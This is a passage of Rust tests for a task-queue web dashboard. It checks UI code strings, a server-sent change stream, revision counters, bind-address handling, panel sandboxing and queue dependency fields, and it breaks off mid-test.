20408 let body = &APP_JS[start..];
20409 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20410
20411 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20413 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20414 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20415 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20416 }
20417
20418 #[test]
20421 fn chat_rows_put_the_title_alone_on_the_first_line() {
20422 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20423 assert!(APP_CSS.contains(
20424 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20425 ));
20426 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20427 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20428 }
20429
20430 #[test]
20431 fn run_rows_put_the_title_alone_on_the_first_line() {
20432 assert!(
20433 APP_CSS.contains(
20434 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20435 )
20436 );
20437 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20438 assert!(APP_JS.contains("class: \"card run-card\""));
20439 assert!(APP_JS.contains("class: \"repo run-id\""));
20440 }
20441
20442 #[test]
20446 fn wide_screens_show_list_and_preview_side_by_side() {
20447 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20449 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20450 assert!(APP_CSS.contains("main[data-split]"));
20451 assert!(APP_CSS.contains("body[data-split]"));
20452
20453 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20455 assert!(
20456 APP_JS.contains(
20457 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20458 )
20459 );
20460 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20461 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20462 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20463
20464 assert!(APP_JS.contains("function markSelected() {"));
20466 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20467 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20468 assert!(
20470 APP_CSS.contains(
20471 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20472 )
20473 );
20474
20475 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20477 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20478 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20479 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20480
20481 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20485 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20486 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20487 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20488
20489 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20491 }
20492
20493 #[test]
20494 fn panel_sandbox_carries_exactly_popups() {
20495 let needle = "sandbox: \"";
20496 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20497 assert_eq!(
20498 matches.len(),
20499 1,
20500 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20501 );
20502 let start = matches[0].0 + needle.len();
20503 let end = APP_JS[start..]
20504 .find('"')
20505 .expect("sandbox attribute value must be terminated by a closing quote");
20506 let val = &APP_JS[start..start + end];
20507 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20508 let expected: std::collections::BTreeSet<&str> =
20509 ["allow-popups", "allow-popups-to-escape-sandbox"]
20510 .into_iter()
20511 .collect();
20512 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20513 assert!(
20514 !tokens.contains("allow-scripts"),
20515 "allow-scripts must never be present in sandbox"
20516 );
20517 assert!(
20518 !tokens.contains("allow-same-origin"),
20519 "allow-same-origin must never be present in sandbox"
20520 );
20521 }
20522
20523 #[test]
20524 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20525 assert!(
20534 APP_JS.contains(
20535 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20536 ),
20537 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20538 recursive renderQueue() call has nothing left to jump to"
20539 );
20540 assert!(
20541 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20542 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20543 arrives later still gets it"
20544 );
20545 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20546 assert!(APP_JS.contains("is not in the current Backlog."));
20547 assert!(APP_JS.contains("li.card[data-task-id=\""));
20548 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20549 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20550 assert!(APP_CSS.contains(".card-permalink"));
20551 assert!(APP_CSS.contains(".queue-focus-status"));
20552 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20553 }
20554
20555 #[test]
20556 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20557 assert!(
20565 APP_JS.contains(
20566 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20567 ),
20568 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20569 );
20570 }
20571
20572 #[test]
20573 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20574 assert!(
20575 APP_JS.contains("round.verified_head !== round.head"),
20576 "a round that verified an earlier commit must be visibly distinct from one that \
20577 verified the head reviewers are looking at now"
20578 );
20579 assert!(
20580 APP_JS.contains("round.verified_at"),
20581 "when a check ran must be on the wire, not just which commit"
20582 );
20583 assert!(
20584 APP_JS.contains("resource_blocked"),
20585 "a command magi never got to run (shared build cache contention) must not render \
20586 the same as a command that ran and failed"
20587 );
20588 }
20589
20590 #[test]
20591 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20592 assert!(
20600 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20601 "every KPI tile built through statusTile() must route its click through \
20602 openRunsFiltered, the single place that sets the Runs filter"
20603 );
20604 for (label, status) in [
20605 ("Merged", "merged"),
20606 ("Ready", "ready"),
20607 ("Blocked", "blocked"),
20608 ("Stalled", "stalled"),
20609 ] {
20610 let call = format!("statusTile(\"{label}\", t.{status}, ");
20611 assert!(
20612 APP_JS.contains(&call),
20613 "expected the {label} KPI tile built via {call}..."
20614 );
20615 assert!(
20616 APP_JS.contains(&format!("status === \"{status}\"")),
20617 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20618 compare a run against, not one invented only for the stats tile"
20619 );
20620 }
20621 assert!(
20622 APP_JS.contains("function openRunsFiltered(status)"),
20623 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20624 );
20625 assert!(
20626 APP_JS.contains(
20627 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20628 ),
20629 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20630 );
20631 assert!(
20639 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20640 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20641 hashchange event that may never fire"
20642 );
20643 }
20644
20645 #[test]
20646 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20647 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20653 assert!(
20654 APP_JS.contains(
20655 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20656 ),
20657 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20658 guard for an incompatible tree section"
20659 );
20660 }
20661
20662 #[test]
20663 fn every_stats_queue_tile_names_a_real_queue_section() {
20664 assert!(
20670 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20671 "every queue tile built through sectionTile() must route its click through \
20672 openQueueSectionFocus"
20673 );
20674 for key in ["upnext", "running", "done", "held", "blocked"] {
20675 assert!(
20676 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20677 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20678 );
20679 }
20680 for line in [
20684 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20685 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20686 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20687 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20688 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20689 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20690 ] {
20691 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20692 }
20693 }
20694
20695 #[test]
20696 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20697 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20704 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20705 assert!(APP_JS.contains("function revealQueueSection(details)"));
20706 assert!(
20707 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20708 "renderQueue() must consume both focus channels on every pass"
20709 );
20710 assert!(
20711 APP_JS.contains(
20712 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20713 ),
20714 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20715 the recursive renderQueue() call has nothing left to reveal"
20716 );
20717 assert!(
20718 APP_JS.contains(
20719 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20720 ),
20721 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20722 );
20723 assert!(
20731 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20732 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20733 hashchange event that may never fire"
20734 );
20735 }
20736
20737 #[tokio::test]
20738 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20739 let f = Fixture::start().await;
20740
20741 let mut socket = tokio::net::TcpStream::connect(f.addr)
20742 .await
20743 .expect("connect");
20744 socket
20745 .write_all(
20746 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20747 )
20748 .await
20749 .expect("write request");
20750
20751 let mut seen = String::new();
20754 let mut buf = [0u8; 1024];
20755 while !seen.contains("event: change") {
20756 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20757 .await
20758 .expect("the stream must speak within five seconds")
20759 .expect("read");
20760 assert!(read > 0, "the server closed the change stream: {seen}");
20761 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20762 }
20763
20764 assert!(
20765 seen.to_lowercase()
20766 .contains("content-type: text/event-stream"),
20767 "the browser only reconnects automatically for a real SSE stream: {seen}"
20768 );
20769 let data = seen
20770 .lines()
20771 .find_map(|l| l.strip_prefix("data:"))
20772 .expect("a data line");
20773 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20774 assert!(
20775 payload["queue_rev"].is_u64()
20776 && payload["runs_rev"].is_u64()
20777 && payload["questions_rev"].is_u64()
20778 && payload["talks_rev"].is_u64()
20779 && payload["notifications_rev"].is_u64()
20780 && payload["loop_rev"].is_u64(),
20781 "the client needs one revision per store to know what to refetch, \
20782 and `talks_rev` is the only notification a standing talk gets - a \
20783 phone whose radio slept through a turn learns about it here, as \
20784 does one whose operator started the loop from another device: \
20785 {payload}"
20786 );
20787
20788 let health = f.get("/api/health").await.json();
20795 for key in [
20796 "queue_rev",
20797 "runs_rev",
20798 "questions_rev",
20799 "talks_rev",
20800 "notifications_rev",
20801 "loop_rev",
20802 ] {
20803 assert!(
20804 health[key].is_u64(),
20805 "health is the change stream's fallback and is missing `{key}`: {health}"
20806 );
20807 }
20808 }
20809
20810 #[tokio::test]
20811 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20812 let f = Fixture::start().await;
20813 let before = f.get("/api/health").await.json()["talks_rev"]
20814 .as_u64()
20815 .expect("talks_rev");
20816
20817 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20818 std::thread::sleep(Duration::from_millis(10));
20819 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20820 on_disk.turns.push(crate::talk::Turn {
20821 sender: None,
20822 breaks: Some(Vec::new()),
20823 messages: Vec::new(),
20824 posted_by: None,
20825 who: crate::talk::Who::Operator,
20826 body: "a new turn".to_owned(),
20827 at: Timestamp::now(),
20828 attachments: Vec::new(),
20829 usage: None,
20830 });
20831 f.talks().put(&mut on_disk).expect("record a turn");
20832
20833 let after = tokio::time::timeout(Duration::from_secs(5), async {
20834 loop {
20835 let revision = f.get("/api/health").await.json()["talks_rev"]
20836 .as_u64()
20837 .unwrap();
20838 if revision != before {
20839 break revision;
20840 }
20841 tokio::time::sleep(Duration::from_millis(50)).await;
20842 }
20843 })
20844 .await
20845 .expect("shared monitor observes external turn");
20846 assert_ne!(
20847 before, after,
20848 "a phone must be able to notice a talk's reply without polling every store"
20849 );
20850 }
20851
20852 #[test]
20853 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20854 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20858 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20859 }
20860 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20861 assert!("everywhere".parse::<Bind>().is_err());
20862 }
20863
20864 #[test]
20865 fn an_explicit_bind_address_is_taken_verbatim() {
20866 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20867
20868 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20869
20870 assert_eq!(addr, asked);
20871 assert!(
20872 warning.is_none(),
20873 "an operator who named an address gets no lecture"
20874 );
20875 }
20876
20877 #[test]
20878 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20879 let (addr, warning) = resolve_bind(&Bind::Auto);
20880
20881 match addr {
20888 IpAddr::V4(ip) if is_tailnet(&ip) => {
20889 assert!(warning.is_none(), "a tailnet address needs no warning");
20890 }
20891 other => {
20892 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20893 let warning = warning.expect("a fallback has to explain itself");
20894 assert!(
20895 warning.contains("127.0.0.1") && warning.contains("local-only"),
20896 "the warning says what happened and what it costs: {warning}"
20897 );
20898 }
20899 }
20900 }
20901
20902 #[test]
20903 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20904 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20908 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20909 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20910 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20911 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20912 }
20913
20914 #[test]
20915 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20916 let ids = vec![
20917 "20260902-140501-aaaa".to_owned(),
20918 "20260902-140502-aabb".to_owned(),
20919 ];
20920
20921 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20922 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20923 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20924
20925 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20926 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20927 assert_eq!(short, "20260902-140502-aabb");
20928 }
20929 #[tokio::test]
20930 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20931 let fx = Fixture::start().await;
20937 let id = panel(
20938 &fx,
20939 "<img src=\"shot.png\">",
20940 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20941 );
20942
20943 let doc = fx
20945 .get(&format!("/api/questions/{id}/panel/index.html"))
20946 .await;
20947 assert_eq!(doc.status, 200, "{}", doc.body);
20948 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20949
20950 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20951 assert_eq!(sibling.status, 200, "{}", sibling.body);
20952 assert_eq!(sibling.header("content-type"), Some("image/png"));
20953 assert_eq!(
20954 sibling.header("content-security-policy"),
20955 Some(PANEL_CSP),
20956 "the sibling route must carry the same policy as the asset route"
20957 );
20958
20959 assert_eq!(
20962 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20963 200
20964 );
20965 }
20966
20967 #[test]
20968 fn delta_stamps_cover_add_update_remove_and_noop() {
20969 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20970 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20971 let delta = diff_stamps(&before, &after, 42);
20972 assert_eq!(delta.base, 42);
20973 assert_eq!(delta.changed, ["b", "c"]);
20974 assert_eq!(delta.removed, ["a"]);
20975 let same = diff_stamps(&after, &after, 43);
20976 assert!(same.changed.is_empty() && same.removed.is_empty());
20977 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20978 let nanos: Stamps = [("b".into(), (2, 20))].into();
20979 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20980 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20981 assert_eq!(stamps_revision(&Stamps::new()), 0);
20982 }
20983
20984 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20985 std::fs::create_dir_all(home.join("runs")).unwrap();
20986 Arc::new(
20987 Ui::new(
20988 Queue::at(home.join("queue")),
20989 Questions::at(home.join("questions")),
20990 Talks::at(home.join("talks")),
20991 home.join("runs"),
20992 home.to_owned(),
20993 PathBuf::from("/repo/magi"),
20994 )
20995 .with_worktrees_root(home.join("wt")),
20996 )
20997 }
20998
20999 #[test]
21000 fn monitor_scan_isolates_store_failures_and_recovers() {
21001 let home = TempDir::new().unwrap();
21002 let ui = delta_test_ui(home.path());
21003 std::fs::create_dir_all(ui.questions.root()).unwrap();
21004 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21005 let before = monitor_scan(&ui, None);
21006 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21007 std::fs::write(ui.questions.root(), "not a directory").unwrap();
21008 std::fs::create_dir_all(ui.talks.root()).unwrap();
21009 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21010 let during = monitor_scan(&ui, Some(before.clone()));
21011 assert_eq!(during.0.2, before.0.2);
21012 assert_ne!(during.0.3, before.0.3);
21013 assert!(during.1[2].contains_key("new"));
21014 std::fs::remove_file(ui.questions.root()).unwrap();
21015 let after = monitor_scan(&ui, Some(during));
21016 assert_eq!(after.0.2, 0);
21017 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21018 std::fs::write(ui.questions.root(), "not a directory").unwrap();
21020 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21021 }
21022
21023 #[tokio::test]
21024 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21025 let home = TempDir::new().unwrap();
21026 let ui = delta_test_ui(home.path());
21027 let mut task = Task::new(
21028 "stream task".into(),
21029 "text".into(),
21030 PathBuf::from("/repo"),
21031 Source::Human,
21032 );
21033 ui.queue.put(&mut task).unwrap();
21034 let response = events(State(ui.clone())).await.into_response();
21035 let mut stream = response.into_body().into_data_stream();
21036 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21037 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21038 .await
21039 .unwrap()
21040 .unwrap()
21041 .unwrap();
21042 let text = String::from_utf8(chunk.to_vec()).unwrap();
21043 let data = text
21044 .lines()
21045 .find_map(|line| {
21046 line.strip_prefix("data: ")
21047 .or_else(|| line.strip_prefix("data:"))
21048 })
21049 .unwrap();
21050 serde_json::from_str(data).unwrap()
21051 }
21052 let initial = change(&mut stream).await;
21053 assert!(initial.get("queue_delta").is_none());
21054 task.instruction.push_str(" changed");
21055 ui.queue.put(&mut task).unwrap();
21056 let updated = change(&mut stream).await;
21057 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21058 assert_eq!(
21059 updated["queue_delta"]["changed"],
21060 serde_json::json!([task.id])
21061 );
21062 assert_eq!(
21063 updated["queue_rev"].as_u64(),
21064 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21065 );
21066 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21067 let removed = change(&mut stream).await;
21068 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21069 assert_eq!(
21070 removed["queue_delta"]["removed"],
21071 serde_json::json!([task.id])
21072 );
21073 }
21074
21075 #[tokio::test]
21076 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21077 let home = TempDir::new().unwrap();
21078 let ui = delta_test_ui(home.path());
21079 let queue = ui.queue.clone();
21080 let query = |ids: Option<&str>| {
21081 Query(ListQuery {
21082 limit: Some(2),
21083 ids: ids.map(str::to_owned),
21084 })
21085 };
21086 let mut root = Task::new(
21087 "root".into(),
21088 "instruction".into(),
21089 PathBuf::from("/repo"),
21090 Source::Human,
21091 );
21092 queue.put(&mut root).unwrap();
21093 let mut blocked = Task::new(
21094 "blocked".into(),
21095 "instruction".into(),
21096 PathBuf::from("/repo"),
21097 Source::Human,
21098 );
21099 blocked.block(vec![root.id.clone()], None);
21100 queue.put(&mut blocked).unwrap();
21101 let whole =
21102 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21103 .unwrap();
21104 let subset = serde_json::to_value(
21105 queue_list(State(ui.clone()), query(Some(&root.id)))
21106 .await
21107 .unwrap()
21108 .0,
21109 )
21110 .unwrap();
21111 assert_eq!(whole, subset, "requested root plus its blocked dependent");
21112 let blockers = serde_json::to_value(
21113 queue_list(State(ui.clone()), query(Some("")))
21114 .await
21115 .unwrap()
21116 .0,
21117 )
21118 .unwrap();
21119 assert_eq!(blockers.as_array().unwrap().len(), 1);
21120 assert_eq!(blockers[0]["id"], blocked.id);
21121 assert_eq!(
21122 blockers[0]["waits_on"],
21123 whole
21124 .as_array()
21125 .unwrap()
21126 .iter()
21127 .find(|row| row["id"] == blocked.id)
21128 .unwrap()["waits_on"]
21129 );
21130
21131 for id in [
21132 "20260902-140501-aaaa",
21133 "20260902-140502-bbbb",
21134 "20260902-140503-cccc",
21135 ] {
21136 write_run(&ui.runs, id, RunStatus::Merged);
21137 }
21138 let old = serde_json::to_value(
21139 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21140 .await
21141 .unwrap()
21142 .0,
21143 )
21144 .unwrap();
21145 assert!(
21146 old.as_array().unwrap().is_empty(),
21147 "older updates must not enter the window"
21148 );
21149 let newest = serde_json::to_value(
21150 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21151 .await
21152 .unwrap()
21153 .0,
21154 )
21155 .unwrap();
21156 assert_eq!(newest.as_array().unwrap().len(), 1);
21157 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21158
21159 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21160 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21161 let talks = serde_json::to_value(
21162 talks_list(
21163 State(ui.clone()),
21164 query(Some("20260905-000000-d4e5")),
21165 header::HeaderMap::new(),
21166 )
21167 .await
21168 .unwrap()
21169 .0,
21170 )
21171 .unwrap();
21172 assert_eq!(talks.as_array().unwrap().len(), 1);
21173 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21174 assert_eq!(
21175 serde_json::to_value(
21176 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21177 .await
21178 .unwrap()
21179 .0
21180 )
21181 .unwrap(),
21182 serde_json::json!([])
21183 );
21184 }
21185
21186 #[tokio::test]
21187 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21188 async fn delta_payload_benchmark() {
21189 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21190 let ui = delta_test_ui(&home);
21191 let query = |ids: Option<String>| {
21192 Query(ListQuery {
21193 limit: Some(50),
21194 ids,
21195 })
21196 };
21197 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21198 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21199 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21200 .await
21201 .unwrap()
21202 .0;
21203 let queue_id = queue
21204 .iter()
21205 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21206 .unwrap_or(&queue[0])
21207 .task
21208 .id
21209 .clone();
21210 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21211 .await
21212 .unwrap()
21213 .0;
21214 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21215 .await
21216 .unwrap()
21217 .0;
21218 let talks_delta = talks_list(
21219 State(ui.clone()),
21220 query(Some(talks[0].id.clone())),
21221 header::HeaderMap::new(),
21222 )
21223 .await
21224 .unwrap()
21225 .0;
21226 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21227 eprintln!(
21228 "DELTA_PAYLOAD {}",
21229 serde_json::json!({
21230 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21231 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21232 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21233 "counts": [queue.len(), runs.len(), talks.len()],
21234 "blocked": queue_delta.len() - 1,
21235 })
21236 );
21237 }
21238
21239 #[test]
21240 fn runs_revision_moves_when_deleting_an_older_run() {
21241 let temp = TempDir::new().expect("tempdir");
21242 let runs = temp.path().join("runs");
21243 std::fs::create_dir_all(&runs).expect("create runs dir");
21244
21245 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21246
21247 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21248 std::thread::sleep(Duration::from_millis(10));
21249 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21250
21251 let rev_before = runs_revision(&runs);
21252 assert!(rev_before > 0);
21253
21254 let old_dir = runs.join("20260901-100000-old1");
21255 std::fs::remove_dir_all(&old_dir).expect("remove old run");
21256
21257 let rev_after = runs_revision(&runs);
21258 assert_ne!(
21259 rev_before, rev_after,
21260 "deleting an older run must change the revision so other clients see the deletion"
21261 );
21262 }
21263
21264 fn write_state(runs: &FsPath, state: &RunState) {
21269 let dir = runs.join(&state.id);
21270 std::fs::create_dir_all(&dir).expect("run dir");
21271 std::fs::write(
21272 dir.join("run.json"),
21273 serde_json::to_string_pretty(state).expect("serialize run"),
21274 )
21275 .expect("write run.json");
21276 }
21277
21278 #[test]
21283 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21284 let temp = TempDir::new().expect("tempdir");
21285 let runs = temp.path().join("runs");
21286 std::fs::create_dir_all(&runs).expect("create runs dir");
21287 let mut state = RunState::new(
21288 PathBuf::from("/repo/magi"),
21289 "main".to_owned(),
21290 "0123456789abcdef".to_owned(),
21291 "task".to_owned(),
21292 Config::default(),
21293 );
21294 state.id = "20260902-100000-c0de".to_owned();
21295 write_state(&runs, &state);
21296
21297 let rev_idle = runs_revision(&runs);
21298 std::thread::sleep(Duration::from_millis(10));
21299 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21300 write_state(&runs, &state);
21301 let rev_started = runs_revision(&runs);
21302 assert_ne!(
21303 rev_idle, rev_started,
21304 "a seat starting must move the revision"
21305 );
21306
21307 std::thread::sleep(Duration::from_millis(10));
21308 state.seat_finished("judge-1");
21309 write_state(&runs, &state);
21310 let rev_finished = runs_revision(&runs);
21311 assert_ne!(
21312 rev_started, rev_finished,
21313 "and clearing it again must move the revision a second time"
21314 );
21315 }
21316
21317 #[tokio::test]
21318 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21319 let fx = Fixture::start().await;
21324 let q = fx.queue();
21325
21326 let mut t = Task::new(
21327 "Task".to_owned(),
21328 "Instruction".to_owned(),
21329 PathBuf::from("/repo"),
21330 Source::Human,
21331 );
21332 t.block(
21333 vec!["20260101-000000-dead".to_owned()],
21334 Some("waiting on Task 1".to_owned()),
21335 );
21336 t.answers.push(crate::queue::AnsweredQuestion {
21337 question: "Which backend?".to_owned(),
21338 answer: "SQLite".to_owned(),
21339 });
21340 q.put(&mut t).expect("put t");
21341
21342 let res = fx.get("/api/queue").await;
21343 assert_eq!(res.status, 200);
21344 let list = res.json();
21345 let view = list
21346 .as_array()
21347 .expect("array")
21348 .iter()
21349 .find(|v| v["id"] == t.id)
21350 .expect("task in list");
21351 assert_eq!(view["status_str"], "blocked");
21352 assert_eq!(
21353 view["blocked_by"],
21354 serde_json::json!(["20260101-000000-dead"])
21355 );
21356 assert_eq!(view["block_reason"], "waiting on Task 1");
21357 assert_eq!(view["answers"][0]["question"], "Which backend?");
21358 assert_eq!(view["answers"][0]["answer"], "SQLite");
21359
21360 let res = fx
21364 .post(&format!("/api/queue/{}/hold", t.short()), None)
21365 .await;
